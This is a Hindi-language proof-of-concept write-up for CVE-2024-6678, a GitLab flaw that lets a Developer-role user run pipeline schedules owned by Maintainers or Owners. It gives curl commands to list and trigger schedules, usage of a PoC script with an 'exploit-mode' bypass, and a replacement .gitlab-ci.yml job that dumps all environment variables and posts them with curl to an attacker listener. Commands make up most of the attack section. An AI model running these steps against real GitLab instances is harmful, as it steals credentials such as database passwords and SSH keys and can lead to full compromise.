CVE-2024-6678 - GitLab: पाइपलाइन शेड्यूल मनमाना उपयोगकर्ता ट्रिगर

CVE-2024-6678 के लिए PoC

भेद्यता विवरण

GitLab उपयोगकर्ताओं को «Play» बटन के माध्यम से CI/CD-पाइपलाइन शेड्यूल (Pipeline Schedules) को मैन्युअल रूप से चलाने की अनुमति देता है। भेद्यता इस तथ्य में है कि «play» फ़ंक्शन Developer अधिकारों वाले किसी भी उपयोगकर्ता (केवल शेड्यूल के स्वामी को ही नहीं) को शेड्यूल चलाने की अनुमति देता है। इसके दो परिणाम होते हैं:

डेवलपर एक ऐसा शेड्यूल चलाता है जो अधिक विशेषाधिकार प्राप्त उपयोगकर्ता (Maintainer / Owner) द्वारा बनाया और कॉन्फ़िगर किया गया था।
चलाई गई पाइपलाइन शेड्यूल से पर्यावरण चरों को इनहेरिट करती है (संवेदनशील चरों सहित), इस तथ्य के बावजूद कि Developer के पास उन्हें API के माध्यम से देखने के अधिकार नहीं हैं।

इसके अलावा, अंतिम प्रभाव इस बात पर निर्भर करेगा कि शेड्यूल के चरों में क्या संग्रहीत है। उदाहरण के लिए, DB_PASSWORD चर डेटाबेस का पूर्ण डंप करने की संभावना खोलता है, और SSH_PRIVATE_KEY - RCE प्राप्त करने की।

पुनरुत्पादन चरण

आवश्यक शर्तें

GitLab CE/EE, संस्करण 8.14 से 17.1.6 / 17.2.4 / 17.3.1 तक
लक्ष्य प्रोजेक्ट में Developer अधिकारों वाला हमलावर खाता
प्रोजेक्ट में कम से कम एक सक्रिय पाइपलाइन शेड्यूल मौजूद हो
शेड्यूल असुरक्षित शाखा (जैसे develop, staging) पर लक्षित हो — या प्रोजेक्ट में छोटे ref प्रारूप वाले शेड्यूल हों (bypass)

महत्वपूर्ण: संरक्षित शाखाओं पर शेड्यूल (उदाहरण के लिए, सुरक्षा सक्षम होने पर refs/heads/main) नीति PipelineSchedulePolicy#protected_ref द्वारा अवरुद्ध कर दिए जाते हैं और HTTP 403 लौटाएंगे। हमला असुरक्षित शाखाओं के लिए काम करता है — और वहीं अक्सर वास्तविक credentials के साथ इंटीग्रेशन और staging शेड्यूल बनाए जाते हैं।

चरण 1. शेड्यूल की सूची प्राप्त करें

curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

अधिक विशेषाधिकार प्राप्त उपयोगकर्ता (Maintainer/Owner) से संबंधित शेड्यूल खोजें।

चरण 2. शेड्यूल चलाएं

curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

अपेक्षित प्रतिक्रिया: HTTP 201 — पाइपलाइन कतार में जोड़ दी गई।

पाइपलाइन हमलावर की ओर से (current_user) बनाई जाती है, लेकिन शेड्यूल के सभी चरों के साथ (जिनमें मालिक द्वारा कॉन्फ़िगर किए गए API-कुंजियाँ, टोकन, credentials शामिल हो सकते हैं)।

HTTP 500 "Unable to schedule pipeline run immediately" — अपेक्षित व्यवहार। यह Sidekiq-डिडुप्लिकेशन (deduplicate :until_executed) है: इस शेड्यूल के लिए कार्य पिछले सफल रन से पहले से ही कतार में है। इसका मतलब है कि हमला पहले ही हो चुका है और कार्य निष्पादन की प्रतीक्षा कर रहा है।

चरण 3. हमलावर की ओर से पाइपलाइन निर्माण की पुष्टि करें

curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

PoC का उपयोग

# बेसिक रन: ऑटो-सेलेक्ट शेड्यूल
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# विशिष्ट शेड्यूल निर्दिष्ट करें
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# GraphQL के माध्यम से (--project-path आवश्यक है)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# legacy-ref bypass जांचें
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode

PoC ट्रिगर से पहले develop में .gitlab-ci.yml को निम्न से बदल देता है: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

यह सब आपके लिसनर पर आता है

CVE-2024-6678

सबसे लोकप्रिय